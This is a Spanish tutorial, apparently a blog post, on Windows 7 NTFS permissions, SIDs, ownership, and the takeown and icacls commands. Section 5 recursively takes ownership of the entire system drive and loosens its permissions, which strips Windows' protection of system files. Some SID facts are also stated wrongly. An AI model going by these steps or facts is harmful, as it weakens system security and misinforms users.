SACL (System Access Control List): Una lista de control de acceso de sistema es la que controla la generación de mensajes de auditoría durante los intentos de acceder a un objeto seguro. (Es necesario tener privilegios SE_SECURITY_NAME para modificar una SACL).

SDDL (Security Descriptor Definition Language): Un lenguaje de definición descriptor de seguridad que permite definir y transportar datos almacenados en un descriptor de seguridad en formato de texto.
Por ejemplo, el comando "sc sdshow" muestra el descriptor de seguridad ligado al servicio en formato SDDL.

El orden de interpretación de los permisos es o debería ser el siguiente:
- Accesos denegados explícitos (DENY ONLY).
- Accesos autorizados explícitos (ALLOW ONLY).
- Accesos denegados heredados.
- Accesos autorizados heredados.

Resumen

Un descriptor de seguridad de un recurso contiene el SID del propietario y varias listas de control de acceso. Una ACL es una lista de entradas de control de ACEs, cada una de las cuales identifica una confianza y unos permisos permitidos o denegados.

Las ACLs pueden ser de dos tipos: DACL (Discretionary ACL) o SACL (System ACL). 

• DACL especifican permisos de acceso -permitidos o denegados- que el propietario del recurso especifica discrecionalmente. 
• SACL especifican las acciones de confianza que el sistema debe auditar (intentos fallidos o exitosos de acceso según su tipo).

Cada recurso, además de poder incluir sus propias ACLs (ACLs explícitas), puede marcarse para que herede las ACLs de sus recursos antecesores (se indica separadamente para DACL y SACL).

Para determinar si debe concederse un permiso a una confianza del sistema primero ordena las ACEs de las distintas listas. Después las evalúa una a una y cuando encuentra una que se corresponde ya no evalúa el resto.

Si un recurso no tiene DACLs se concede el permiso. Si tiene DACL pero no tiene ACEs se deniega el permiso.

Para ordenar las ACEs el algoritmo tiene en cuenta lo siguiente:

• Dentro de una lista, las ACEs que deniegan tienen prioridad sobre las que permiten.
• Las ACLs explícitas tienen prioridad sobre las heredadas.
• Las ACLs de los padres tienen prioridad sobre las de los abuelos.

Por otra parte:

• Al anular la herencia el sistema nos permite elegir entre quitar todos los permisos heredados o copiarlos como explícitos.
• Cuando se crea un nuevo recurso éste hereda todos los permisos (todas las ACLs) de su padre (tanto heredados como explícitos).
• Al copiar un recurso (o moverlo a otro volumen) creamos un nuevo recurso.
• Al mover un recurso dentro de un volumen se mantienen los permisos.

1.B) Tipos de cuentas de usuarios (NT AUTHORITY), grupos por defecto en Windows y sus SID

Trusted Installer (Instalador de confianza): No es una cuenta de usuario propiamente dicha, sino que una cuenta de servicio. Su SID (Security Identifier) comienza por S-1-5-80, que corresponde a SECURTIY_SERVICE_ID_BASE_RID. Sirve para ejecutar el servicio que instala los componentes Windows, los hotfixes y los paquetes MSI (Microsoft Installer).

Este SID posee los permisos para todos los archivos de sistema que le permiten actualizar el sistema operativo. TrustedInstaller es un usuario del sistema de "Protección de Recursos de Windows" (WRP Windows Resource Protection), asume el control propietario de ciertos ficheros, carpetas o ciertas claves de registro de Windows para su correcto funcionamiento. No instala programas como tal, como pueda parecer, trabaja bajo el servicio de Windows "Instalador de módulos de Windows" controlado en la clave de registro "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\TrustedInstaller", este habilita la instalación, modificación y eliminación de actualizaciones (Windows Update) y componenetes opciones de Windows, su path físico está en: C:\Windows\servicing\TrustedInstaller.exe.

Tiene acceso completo a los directorios Windows, System32 y Archivos de Programas (Program Files), lo que le confiere permisos necesarios para reemplazar un archivo del sistema cuando ni siquiera los administradores tienen acceso en escritura. De la misma manera, están accesibles en escritura muchas claves del registro que definen clases y objetos COM únicamente en el servicio Trusted Installer. Cuando se llama, el servicio de instalación a MsiExec (fichero que lee la instalación MSI y lanza el asistente).

Creator Group: Utilizado por el subsistema POSIX únicamente, este SID genérico es sustituido durante la evaluación por el grupo principal del propietario del objeto. Concede control total o lo establecidos explícitamente en "permisos especiales" a un objeto sobre un grupo concreto. Esto está más detallado en el apartado: 3.B) Modificar permisos desde la sesión "Usuario raso" (Propietarios de objetos). En la sección de "Propietarios de un objeto".

Creator Owner (SID: S-1-3-0): Este SID genérico es reemplazado por el SID del propietario del objeto durante la evaluación de los permisos. Al igual que el anterior, concede control total o lo establecidos explícitamente en "permisos especiales" a un objeto sobre un grupo concreto. Esto está más detallado en el apartado: 3.B) Modificar permisos desde la sesión "Usuario raso" (Propietarios de objetos). En la sección de "Propietarios de un objeto".

Owner Rights (Derechos del propietario): Es una nueva cuenta (nuevo SID) de Windows Vista y 7. En Windows XP, pero también en Windows 7, el creador de un objeto posee implícitamente el derecho de modificar las ACL en su posible prohibir el acceso a un objeto (un archivo o una clave de registro, entre otros) a un administrador. El administrador tiene derecho a cambiar las ACL para otorgarse los permisos necesarios, como por ejemplo un control total.

A un usuario estándar o raso, ser propietario de un objeto le confiere un control total sobre el objeto e impide que se le pueda restringir el acceso, porque puede manejar y modificar sus ACLs. Un administrador que desee restringir el acceso a un propietario de un objeto deberá, en primer lugar, cambiar el propietario y luego ajustar las ACL del objeto de conformidad con lo deseado.

Windows Vista y Windows 7 introducen, por tanto, un nuevo SID que corresponde a "Derechos del Propietario" (no se corresponde con una nueva cuenta de usuario con la cual es posible iniciar sesión), que puede utilizarse para limitar los derechos del propietario del objeto. Cuando este SID no está en una ACL, se aplica la lógica habitual: el propietario posee los derechos para modificar las ACL de ese objeto. Sin embargo, cuando está presente, el propietario recibe los permisos asociados a este SID.

Se utiliza normalmente para restringir los permisos de los propietarios de forma sencilla y eficaz. Por ejemplo, situando en un directorio los permisos Lectura en el SID derechos del Propietario y lectura/escritura en un grupo dado, el grupo puede crear archivos y directorios que serán de sólo lectura una vez creados, porque el usuario recibirá los derechos del propietario.

Imaginemos que un usuario cambia de servicio, antes podía crear archivos y acceder a ellos en un directorio mediante la pertenencia a un grupo que le daba un control total sobre un directorio dado. Al abandonar el servicio, se le retira de este grupo. Sin embargo, sigue siendo propietario de sus objetos, es decir, de los archivos que creó, y puede, según las ACL establecidas en el directorio, seguir accediendo y modificando las ACL de sus archivos para devolverse a si mismo el control. Si se establece una denegación (DENY) WRITE_DAC en el SID Derechos del Propietario en el directorio raíz, los propietarios ya no pueden cambiar las ACL en los objetos que han creado. Para terminar, cuando un administrador cambia el propietario de un objeto, se deshabilitamos permisos asociados al SID Derechos del Propietario para que un administrador pierda definitivamente el control de un objeto.

Más detalle y un ejemplo en el apartado: 3.B) Modificar permisos desde la sesión "Usuario raso" (Propietarios de objetos). En la parte de "Propietarios de un objeto".

Ahora comentaré un poco los usuarios NT AUTHORITY, son usuarios usados por el sistema para operaciones de privilegios concretos en determinadas funcionalidades, estos usuarios el sistema hace uso de ellos de forma transparente al usuario final.

Figura 1: Usuarios NT AUTHORITY utilizados por Windows 7.

Usuarios autentificados (SID: S-1-5-11): Son Usuarios que pertenecen o forman parte de Active Directory de una red de dominio.

Anonymous Logon (SID: S-1-5-7): Son usuarios que no disponen de una cuenta de usuario en Servicios de dominio de Active Directory, pero que pueden recibir una invitación para participar de forma remota en una conferencia local.

IUSR (SID: S-1-5-17): Este grupo sirve para dar permisos a las cuentas de servicio encargadas de ejecutar los pools de aplicación del servidor Web IIS (Internet Information Services).

Interactive (SID: S-1-5-4): Representa a los usuarios que han abierto sesión localmente en la máquina y que no acceden a un recurso de la máquina a través de la red.

Local Service (SID: S-1-5-19): Los miembros de este grupo tienen permiso para leer el registro de eventos del equipo local.

Dialup (SID: S-1-5-1): Son usuarios conectados a través de una conexión de acceso remoto.

Network (SID: S-1-5-2): Son los usuarios que acceden a un recurso de la máquina a través de la red, a diferencia de los usuarios que han abierto una sesión localmente para acceder a los recursos. No incluye a los usuarios que inicien sesión mediante una sesión de Escritorio remoto (mstsc-Miscroft Terminal Service Connection).

Service (SID: S-1-5-6): Son los usuarios que inician sesión como servicio.

Network service (SID: S-1-5-20): "Servicio de red" es una cuenta utilizada por los servicios que necesitan acceder a recursos en la red bajo la identidad de la cuenta máquina en la cual se ejecutan. Tiene menos privilegios y permisos localmente que el "System Local".

Local service (SID: S-1-5-19): Es una cuenta utilizada por los servicios que necesitan acceder a recursos locales y no por red (se identifica anónimamente en la red). La diferencia entre Local Service y System Local reside en que System Local posee permisos sobre la red (los mismos que Network Service), mientras que Local Service se autentifica anónimamente en la red.
Network Service y System Local se autentifican en Kerberos utilizando la cuenta máquina del equipo definida en el servicio de Active Directory. Muchos servicios de Windows 7 que no necesitan acceder a la red se ejecutan bajo la identidad de Local Service. Este funcionamiento es el que siempre ha existido en los sistemas Microsoft. Con Windows y 2008, nuevas directivas de grupos permiten a la cuenta Local System autentificarse en NTLM en la red, y no de forma anónima. Este comportamiento no está activo de forma predeterminada, sino que es necesario activarlo.

System (SID: S-1-5-18): Representa el sistema operativo. Permite asignar permisos específicos al sistema. Se llama también Sistema Local (Local System). Es la cuenta que tiene más derechos y privilegios en la máquina.

Batch (SID: S-1-5-3): Son las cuentas utilizadas para ejecutar tareas programadas (Control Schedtasks).

Terminal Server User (SID: S-1-5-13): Son los usuario que abren una sesión de terminal server en la máquina.

Remote Interactive Logon (SID: S-1-5-14): Son los usuarios conectados mediante un inicio de sesión de escritorio remoto.

Otros usuarios del sistema para realizar otras funciones determinadas:

Usuarios de Operadores de cifrado: Como sería lógico, los miembros de este grupo tienen permisos para realizar operaciones de cifrado.

Usuarios de Operadores de copia de seguridad: Encargados de realizar las copias de seguridad del equipo programadas o automáticas de Windows o lo que se le hubiese establecido.

Usuarios del monitor de rendimiento: Los miembros de este grupo pueden acceder a los datos del Monitor de rendimiento (perfmon.exe) localmente y en remoto.

Usuarios del registro de rendimiento: Los miembros de este grupo pueden programar el registro de los monitores de rendimiento, activar los proveedores de seguimiento y recoger el seguimiento de eventos simultáneamente de forma local y a través de un acceso a este equipo.

Añado una nota sobre los SID de los usuarios:

• Administrador: SID: S-1-5-500
• Invitado: SID: S-1-5-501
• El resto de usuarios locales, empezarán ordenadamente a partir del siguiente SID: S-1-5-1000, S-1-5-1002 , S-1-5-1003, etc. y así sucesivamente por cada usuario local creado.

Existen muchos más grupos de usuarios predeterminados en Windows, aquí menciono los que para mi son los más usados y relevantes.

Más información sobre los SID (Identificadores de seguridad): http://support.microsoft.com/kb/243330/es

Intentaré explicar de manera clara y sencilla, para que sea entendible por cualquier tipo de usuario: Como modificar ya sea, para conceder o denegar permisos en Windows y como configurar cuentas de usuarios y administradores de Windows.

Existen muchas formas de realizar esto, ya sea por la shell (consola de comandos CMD) de Windows, como de manera gráfica en el sistema. Mencionaré las dos formas de hacerlo, para cada uno de los casos.

Nota: El nombre de usuario que utilizaré para este tutorial será Administrador (por defecto del sistema) y loiswin7 que correrán bajo una máquina virtual con Windows 7 Ultimate.

2) Habilitar o deshabilitar cuenta de Administrador

2.A) De manera gráfica.

[1] - Nos vamos a: Inicio > botón derecho en "Equipo" > Administrar.
Nos aparecerá la ventana de "Administración de equipos".

[2] - Nos vamos a: Usuarios y grupos locales > Usuarios > Administrador > botón derecho "Propiedades".

Se nos mostrará la ventana de "Propiedades: Administrador".
[3] - En la pestaña "General" desmarcamos (para activar la cuenta, en caso contrario marcaríamos el checkbox) el checkbox que dice: "La cuenta está deshabilitada", Aplicamos los cambios y Aceptamos.

[4] - Cerramos la ventana "Administrador de equipos" y cerramos sesión para poder entrar como Administrador al sistema.

Figura 2: Habilitar o deshabilitar cuenta administrador desde lusrmgr.msc.

2.B) Con la consola de comandos (CMD), Shell de Windows

[1] - Nos vamos a: Inicio > escribimos: CMD > esperamos a la búsqueda > botón derecho sobre: cmd.exe > Ejecutar como administrador. Se nos abrirá la Shell de Windows (CMD).

[2] - Aquí tipearémos o escribirémos la siguiente linea de comandos:

net user administrador /active:yes
(para activar la cuenta administrador del sistema)

net user administrador /active:no
(para desactivar la cuenta administrador del sistema)

[3] - Pulsamos Enter y cerramos la consola con el comando Exit, o simplemente cerrando la ventana.

[4] - Cerramos sesión para poder entrar como Administrador al sistema.

Figura 3: Habilitar o deshabilitar cuenta administrador a través de consola, cmd.exe.

En algunos casos, puede dar errores. Uno muy frecuente es:

Error de Sistema 5 (System error 5):
Se refiere a que no tenemos los permisos adecuados.
Soluciones:

• Comprobar los permisos de la cuenta.
• Realizar un logueo en la maquina remota, para que las credencias queden el cache (un error muy típico).
• Comprobar que el servicio netlogon este corriendo.

Estas dos maneras que mencioné, tanto gráficamente como mediante comandos con la Shell de Windows, son válidas. Aclaro que esto solamente es para activar o desactivar la cuenta Administrador del sistema.

3) Modificar permisos o privilegios de usuarios o grupos locales

3.A) Modificar permisos desde la sesión Administrador.

En cualquiera de los dos casos que hubiésemos realizado anteriormente.
Cuando cerramos sesión, veremos ya habilitada la cuenta Administrador, entramos como Administrador al sistema.

Figura 4: Inicio de sesión como administrador.

Una vez iniciada la sesión como Administrador:

[1] - Nos vamos al "Explorador de Windows" (Tecla Win + E) o doble clic en Equipo.

[2] - Hacemos clic derecho sobre el disco local C: (que por defecto en la mayoría de los casos suele ser la asignación de letra de unidad C:) > Propiedades.

Figura 5: Acceder a las propiedades de %systemdrive% para configurar la seguridad de permisos.

[3] - En ventana de "Propiedades: Disco local (C:)". Nos vamos a:

Seguridad > Editar... > (Se nos abrirá la ventana: "Permisos de Disco local (C:)") ahí seleccionamos el grupo "Usuarios" o "Administradores" y concedemos (en este caso) o denegamos privilegios o permisos a dichos grupos, marcando los checkbox que deseemos o simplemente si queremos conceder o denegar todos, marcamos el checkbox de "Control total".

Si no vemos la opción de Seguridad en una solapa o pestaña de esta ventana. Deberemos activar lo siguiente:

En la "Barra de Herramientas" de 'Mi PC' o 'Explorador de Windows' (Pulsamos F10 o 'Alt') > Herramientas > Opciones de carpeta > Ver > buscamos 'Utilizar uso compartido simple de archivos' y desmarcamos este checkbox > Aceptar. Ahora ya podremos ver la ficha de Seguridad.

[4] - Aplicamos los cambios, se nos mostrará una ventana en la que nos dice si estamos seguros de la operación, le decimos que si. Y aceptamos.
Veremos como después de aplicar la operación en la ventana "Propiedades: Disco local (C:)" se nos muestran todos los tics en "Permitir" en el grupo que seleccionáramos (Usuarios o Administradores).

Figura 6: Edición de permisos para "Usuarios" y otros.

3.B) Modificar permisos desde la sesión de un "Usuario raso" (Propietarios de objetos)

En este caso, omitiríamos desde el principio de este post hasta este apartado los pasos y las diferentes maneras de hacerlo sin necesidad de habilitar la cuenta Administrador.

Dentro de nuestra sesión de usuario normal:

[1] - Nos vamos al "Explorador de Windows" (Tecla Win + E) o doble clic en Equipo.

[2] - Hacemos clic derecho sobre el disco local C: (que por defecto en la mayoría de los casos suele ser la asignación de letra de unidad C:) > Propiedades.

[3] - En ventana de "Propiedades: Disco local (C:)" nos vamos a:
Seguridad > Opciones avanzadas.

 
[4] - Se nos mostrará la ventana: "Configuración de seguridad avanzada para Disco local (C:)". Nos vamos a: Propietario > Editar....

En la ficha propietario el usuario tendría que estar en el "Grupo de Administradores" locales para poder realizar algunas de estas funciones: 

Cuando un fichero o carpeta tiene a un administrador local como propietario en este fichero y/o carpeta no podremos eliminar, modificar, mover, cambiar permisos, etc., es debido a que quizás ese administrador NO esté como propietario del fichero o carpeta, ya que puede que ni siquiera esté en el grupo administradores, y sea simplemente un usuario normal-raso.

Si conseguimos añadir el usuario que queramos en la ficha de Propietario de un fichero/carpeta y remplazamos el que ya está (que esto nos lo permite si el que actualmente está es administrador pero pese a eso no nos permite borrar el fichero por decirlo de algún modo) añadiendo otro user con privilegios y reemplazando la propiedad del fichero conseguiremos realizar todo tipo de acciones sobre dicho fichero/carpeta como por ejemplo borrar esos ficheros o carpetas que Windows en ocasiones bloquea.

Es importante que después de seleccionarlo y aplicar nos fijemos de que donde aparece "Propietario actual", en la casilla de texto de abajo esté asignado o establecido el correspondiente usuario que queremos hacer propietario. (Ya que "en ocasiones" pasa que seleccionas y los cambios parece que surgen efecto y en realidad no es así).

Tendremos también que marcar los checkbox para "incluir todos los permisos heredables del objeto primario de este objeto".

Figura 7: Cambiando propietario, algo importante para la manipulación total de un objeto.

Se nos abrirá otra ventana en la que:

[5] - Seleccionamos el usuario del sistema con el que tenemos iniciada sesión (es decir, el usuario normal).

 
[6] - Marcamos el checkbox que dice: "Reemplazar propietarios en subcontenedores y objetos". Aplicamos y Aceptamos.
Cuando apliquemos se nos mostrará una ventana en la que realizará las operaciones necesarias, esperamos a que acaben de realizarse.

Que me ofrece ser propietario de un objeto?

Hacer un usuario propietario de un objeto o de los siguientes objetos (subcontenedores) no hace que tenga control total sobre dicho objeto sino, que pueda tener control para CAMBIAR los permisos de dicho objeto a su antojo, y de ese modo poderse dar así mismo más permisos. Esta es básicamente la única característica de ser propietario o no de un objeto.
Aunque veremos como aprovechar esto y ponerlo en práctica, en un próximo ejemplo de un posible escenario como funciona el ser propietario de un objeto usando los usuarios por defecto de Windows (Owners) y como afectan a sus ACEs en futuros objetos creados por dichos usuarios.

Figura 8: Reemplazando propietario en subcontenedores y objetos.

Si tenemos el siguiente escenario:

Los usuarios "Pepe" y "Lili" forman parte del grupo "Empleados" y a este grupo se le da permisos especiales de crear y solo lectura sobre los objetos carpeta y ficheros, este grupo solo va poder crear y leer estos ficheros. Pero sin embargo añadimos el usuario por defecto de Windows "Creator Owner" y a este le damos control total sobre los objetos carpetas y ficheros, quiere decir que el usuario, "Lili" por ejemplo, cree dicho objeto tendrá control total sobre este independiente de si forma parte del grupo de creación y solo lectura (empleados) ya que al crear dicho objeto a este usuario se le establecen las ACLs del "Creator Owner", con esto conseguimos que un objeto solo sea manipulable desde su creador y que solo lo puedan leer desde otros usuarios del sistema, esto es gracias a las ACLs establecidas en el grupo "Empleados" y a las del "Creator Owner".

 
Lo mismo pasaría con el "Creator Group" pero en ese caso orientado a un grupo en concreto en vez de a un usuario.

Figura 9: Añadiendo "Creator Owner" a un objeto.

Figura 10: Editando permisos especiales de solo carpeta y archivos al "Creator Owner".

Cuando acabe el proceso, volveremos a la ventana anterior. Pero esta vez nos vamos a:

 
[7] - La ficha de "Permisos" > seleccionamos nuestro usuario > Cambiar permisos... > (se nos abrirá otra ventana) seleccionamos nuestro usuario nuevamente > Editar...

Figura 11: Modificación de permisos de usuarios.

Se nos abrirá una la ventana: "Entrada de permiso para Disco local (C:)".

[8] - En el menú desplegable "Aplicar a" Seleccionamos la opción: "Esta carpeta, subcarpetas y archivos" (Esta opción está marcada por defecto, pero nos aseguramos de que esté seleccionada).

[9] - Después simplemente nos queda Permitir o Denegar privilegios o permisos al usuario, en este caso permitimos y concedemos los privilegios al usuario seleccionado anteriormente. Marcamos el checkbox Control total en permitir, para directamente seleccionar todos los campos. Sería lo mismo para la denegación, pero lógicamente marcando el checkbox contrario (en la columna de "Denegar").

[10] - Pulsamos Aceptar, se nos mostrará una ventana realizando las operaciones necesarias para efectuar los cambios en el sistema, esperamos y Aceptamos una ventana que se mostrará al terminar dicho proceso.
Aceptamos también todas las ventanas abiertas. Reiniciamos. Y listo!

Figura 12: Modificación de permisos de usuarios de forma avanzada.

Ahora tendremos el control total del sistema y podremos conceder y denegar privilegios a otros usuarios de manera normal. Como se muestra en la sección de este post "3.A) - Modificar permisos como Administrador"

No voy a pararme a explicar que hacen o deja de hacer cada uno de los permisos ya que para eso las propias webs a las que hice referencia al principio de esta guía, las cuales Microsoft las detalla como los artículos: KB-981949 y KB-308419. Explican perfectamente para que valen y que hacen cada una de las características de los permisos.

3.C) Conflictos en permisos para un mismo usuario: Permitir y denegar

Abro un pequeño apartado explicativo sobre esta cuestión. Planteo el siguiente escenario:
Si tenemos un usuario "pepe" y otros usuarios del que forma parte del grupo "empleados" y un objeto (carpeta compartida) común para almacenar información personal. Si se le da permisos de SOLO LECTURA al grupo empleados del que forma parte pepe, pero sin embargo explícitamente se le dan permisos de ESCRITURA a pepe sobre ese contenedor este va poder leer y escribir, pero el resto de usuarios que forman parte del grupo empleados solo van poder leer.

Por lo que podemos entender de que si a un un usuario que pertenece a un grupo le das unos permisos y después a ese usuario de forma independiente le añades otros permisos, el sistema de permisos NTFS de Windows da prioridad a los permisos explícitos a ese usuario en concreto y no al establecido en el grupo del que también forma parte dicho usuario.

3.D) Permisos heredables de objetos primarios

Destacar también que tenemos las opciones de "Incluir permisos heredables del objeto primario al objeto actual", esto nos dice que si tenemos una: CarpetaA con X permisos y dentro de esta creamos una CarpetaB, la CarpetaB tendrá por defecto los mismos permisos que tiene la carpeta padre-raíz (objeto primario).

Pero si quiero que la CarpetaB no herede dichos permisos solamente para esa carpeta y sus objetos ya existentes tendremos que desmarcar y agregar los permisos heredables para que esto no se aplique a las siguientes subcarpetas y/o ficheros.

Nos puede pasar que queramos eliminar de un objeto (carpeta o fichero) el grupo de "usuarios" o "usuarios autentificados" y no podamos hacerlo, así como intentar agregar o quitar otros usuarios y grupos por defecto del sistema. Esto es debido a que los permisos son heredados de los objetos padres, por lo que tenemos que desheredar dichos permisos y después proceder a eliminar esos grupos de ese objeto en cuestión.

Si desmarcamos el checkbox (que está marcado por defecto) de "Incluir todos los permisos del objeto primario de este objeto", aparecerá un cuadro de advertencia en el que se nos dice si queremos "Agregar" o "Quitar" esta herencia.

Agregar: Nos mantiene los mismos usuarios y grupos pero quita la herencia del objeto primario padre.

Quitar: Quita todos los usuarios y grupos del objeto, de modo que no quede ninguno asignado a dicho objeto, eso conlleva a que también se elimine la herencia. 

Figura 13: Permisos heredables del objeto primario de este ojeto

Microsoft nos dice lo siguiente:

"Incluir todos los permisos heredables del objeto primario de este objeto":
Si se selecciona, cada objeto secundario tendrá permisos heredados de su objeto primario.
Si se anula la selección, los permisos aplicados al objeto primario no se aplicarán a su objeto u objetos secundarios.

"Reemplazar todos los permisos heredables existentes en todos los descendientes con permisos heredables de este objeto":
Si se selecciona, los permisos de este objeto primario reemplazarán los de los objetos descendientes.
Si se anula la selección, los permisos de cada objeto (tanto de los primarios como de sus descendientes) pueden ser únicos.

Ahora, a modo de comentario detallo un poco para completar la información sobre las dos fichas que quedan restantes: Permisos efectivos y Auditoría.

En la ficha o pestaña "Permisos efectivos" nos servirá sencillamente para visualizar o mostrar los permisos por un usuario específico o grupo de usuarios. Pero no es más que ver los permisos que se permiten o deniegan en la ventana de edición de permisos de un objeto como la que se muestra anteriormente.
En el caso de la imagen que vemos a continuación podemos ver el usuario "pepeprueba" (un usuario raso dentro del grupo "Usuarios locales"), los concesión de permisos que tiene.

Figura 14: Visualización de permisos aplicados al usuario seleccionado.

En la ficha o pestaña "Auditoría", pues creo que está claro que es para poder auditar los objetos y el acceso a ellos para un usuario específico o un grupo de usuarios.

Figura 15: Auditando acceso o modificación a objetos a un usuario específico.

Lo cual para poder hacer esto y poder examinar o ver el Visor de eventos (eventvwr.msc) de Windows Vista/7, tendremos que tener habilitada una directiva en el "Editor de directivas de grupo local" (gpedit.msc). La cual nos permite auditar el acceso correcto o erróneo a objetos, esta se encuentra en:

Configuración de equipo > Configuración de Windows > Configuración de seguridad > Directivas locales > Directiva de auditoría.

Figura 16: Aplicando la GPO para auditar objetos en gpedit.msc.

4) Cambiar el tipo de cuenta: Usuarios o Administrador

Si queremos omitir el apartado de este post "2) - Habilitar o deshabilitar cuenta de Administrador" y el "3.B) - Modificar permisos desde la sesión "Usuario raso"  (Propietarios de objetos).

Directamente podemos asignar el "Grupo Administradores" la cuenta de usuario que estemos utilizando o deseemos, de manera muy sencilla. De este modo concederemos o denegaremos permisos de manera normal (siendo Administrador) como se muestra en la sección de este post "3.A) - Modificar permisos desde la sesión Administrador" (pero sin necesidad de entrar en la sesión de Administrador, ya que lo haremos todo desde la sesión usuario).

[1] - Nos vamos a: Inicio > Panel de control > Cuentas de usuario y protección infantil > Cuentas de usuario > Seleccionamos nuestra cuenta de usuario (o la que deseemos) > cambiar el tipo de cuenta > Administrador > pulsamos en el botón que dice: "Cambiar el tipo de cuenta".

Figura 17: Cambiando el tipo de cuenta de un usuario de forma gráfica. 

De este modo la cuenta seleccionada pasará a ser parte del "Grupo Administradores" y ya seremos Administrador del sistema, con lo cual tendremos los privilegios para conceder o denegar permisos a otros usuarios. En el apartado de este post "3.A) - Modificar permisos desde la sesión Administrador" veremos como modificar los permisos, pero sin necesidad de entrar en la sesión de Administrador, ya que lo haremos todo desde la sesión de la cuenta de usuario que estemos usando en Windows.

Esto anterior es la manera elegante que nos proporciona Windows de hacer de la manera tradicional y que personalmente siempre uso ya es exactamente los mismo.
Se trata de administrar y gestionar esto desde una consola de Microsft "MSC" (MicroSoft Console). Como es el caso del fichero de consola: Inicio > Ejecutar: lusrmgr.msc (Editor de usuarios y grupos locales).

Aquí podemos realizar lo mismo e incluso más funciones ya que podremos ver todos los usuarios y grupos creados en nuestro sistema, modificar así como crearlos y borrar otros (aunque tener cuidado cuales se borran ya que algunos hace uso Windows de ellos). Esta consola nos permite visualizarlo las cuentas y grupos de usuario de un modo digamos ordenado y claro, a mi parecer, más detallado, completo, igual de eficaz y a la vez hacerlo de forma rápida y sencilla.

Figura 18: La "forma más correcta" de cambiar la pertenencia de usuarios a grupos.

5) Habilitar y conceder permisos de Administrador mediante la Shell de Windows (CMD)

En este apartado, omitiremos todo lo mencionado desde el principio de este post hasta esta sección, excepto la sección "4) - Cambiar el tipo de cuenta: Usuarios o Administrador".

En esta parte, explicaré como modificar (conceder o denegar) permisos (en este caso conceder) de control total en el sistema al grupo Administradores del equipo. Mediante dos simples lineas de comandos, que escribiremos en en la consola o símbolo del sistema CMD de Windows.

[1] - Si ya cambiamos el tipo de cuenta a Administrador, abrimos la Shell de Windows como Administrador (ya que para ejecutar las siguientes instrucciones de comandos necesitamos privilegios de una cuenta del tipo Administrador), para ello, nos vamos a:
Inicio > Todos los programas > Accesorios > botón derecho sobre Símbolo de Sistema > botón derecho sobre ejecutar como Administrador
Se nos abrirá la shell de Windows CMD.

[2] - Aquí escribimos los siguiente.

takeown /F "%SYSTEMDRIVE%\*" /R /D S

Pulsamos Enter. y esperaremos a que el sistema realice todo el proceso necesario (tendría que terminar con una lista extensa, poniendo en todas las líneas que fue procesando: "CORRECTO").

[3] - A continuación, escribimos esta otra línea de comandos:

icacls "%SYSTEMDRIVE%\*" /grant Administradores:(D,WDAC) /T

Pulsamos Enter, y esperamos a que el sistema termine el proceso.

[4] - Si todo lo procesado salió correctamente, salimos de la consola, escribiendo exit y reiniciamos el equipo.

• takeown: es para indicar el propietario.
• icacls: es para indicar los permisos del propietario que pusimos en takeown.

Ahora el análisis de las propiedades o atributos de las dos líneas de comandos:

takeown /F "%SYSTEMDRIVE%\*" /R /D S

/F: Indica el archivo/carpeta al que queremos cambiar el propietario (en este caso es %SYSTEMDRIVE%).
%SYSTEMDRIVE%: Es la variable de entorno del disco duro principal desde donde se ejecuta Windows, es decir "C:\" (por defecto, lo más común).
*: Con el símbolo asterisco indicamos todos los archivos de esa carpeta (Archivos, no carpetas, pero combinado con /R es igual a: Todos los archivos de todas las carpetas del disco duro (en este caso)).
/R: Realiza el cambio de propietario en los subdirectorios (En este caso sería en todo el disco duro).
/D S: En algunas carpetas puede surgir una pregunta al intentar indicar el propietario donde dice que si quieres darle permisos, pues "/D S" lo único que hacen en este caso es contestar "Si" automáticamente a esa pregunta, para no tener que hacerlo manualmente.

icacls "%SYSTEMDRIVE%\*" /grant Administradores:(D,WDAC) /T

%SYSTEMDRIVE%: Como ya dijimos anteriormente, "C:\" (En este caso). 

* > (símbolo asterisco) Todos los archivos de esa carpeta (Archivos, no carpetas, pero combinado con /T es igual a: Todos los archivos de todas las carpetas del disco duro).
/T: Realiza el cambio de permisos en los subdirectorios (En este caso sería en todo el disco duro).
/grant: Es la opción para indicar que se le quieren conceder permisos a un usuario. (Lo que quiero decir, es que en vez de /Grant se podria usar /Deny para denegar permisos por ejemplo.)
Administradores: El grupo de usuarios (en este caso), (Administrador).

(D,WDAC): Los permisos a conceder. (en este caso "D" y "WDAC").

Algunos permisos importantes:
D: acceso de eliminación
WDAC: escribir DAC
F: acceso total
M: acceso de modificación
RX: acceso de lectura y ejecución

Un ejemplo de sintaxis básica de ICACLS:

icacls [PATH] [/grant|/deny] [grupo|usuario]:(herencia2)(herencia1)(permiso1,permiso2,) [otros_argumentos /?]

icacls c:\carpetapublica /inheritance:r /grant wuser:(OI)(CI)(F) /grant todos:(OI)(CI)(AD,RX)  /Q

Para ICACLS una lista de permisos simples:

• N - sin acceso
• F - acceso total
• M - acceso de modificación
• RX - acceso de lectura y ejecución
• R - acceso de solo lectura
• W - acceso de solo escritura
• D - acceso de eliminación

Una lista de permisos más específica:

• DE - eliminar
• RC - control de lectura
• WDAC - escribir DAC
• WO - escribir propietario
• S - sincronizar
• AS - acceso al sistema de seguridad
• MA - máximo permitido
• GR - lectura genérica
• GW - escritura genérica
• GE - ejecución genérica
• GA - todo genérico
• RD - leer datos/lista de directorio
• WD - escribir datos/agregar archivo
• AD - anexar datos/agregar subdirectorio
• REA - leer atributos extendidos
• WEA - escribir atributos extendidos
• X - ejecutar/atravesar
• DC - eliminar secundario
• RA - leer atributos
• WA - escribir atributos

Lista de herencias:

• (OI) - herencia de objeto
• (CI) - herencia de contenedor
• (IO) - solo herencia
• (NP) - no propagar herencia
• (I) - permiso heredado del contenedor principal

Lista de parámetros aplicables para las herencias de objetos (OI IO CI) con ICALCS (explicado):

• OI: (Object Inherit) Afecta a carpeta que se gestiona y ficheros que tiene dentro.
• CI: (Container Inherit) Afecta a carpeta y subcarpetas (no a ficheros).
• IO: (Inherit Only) NO AFECTA a fichero o carpeta que se gestiona sólo los que están dentro (solo subcarpetas).

• OI CI: Afecta a carpeta, subcarpeta y ficheros. (suele ser la herencia de permisos por defecto y habitual)
• CI IO: Sólo afecta a subcarpetas.
• OI IO: Sólo afecta a los ficheros contenidos en la carpeta que se gestiona.
• CI IO OI: Afecta a los ficheros que tiene dentro y a las subcarpetas.

Para más información de las propiedades de estos dos comandos consultar la ayuda de los mismos. Escribir en una consola CMD:

Takeown /?
Icacls /?

6) UAC (User Account Control "Control de cuentas de usuario")

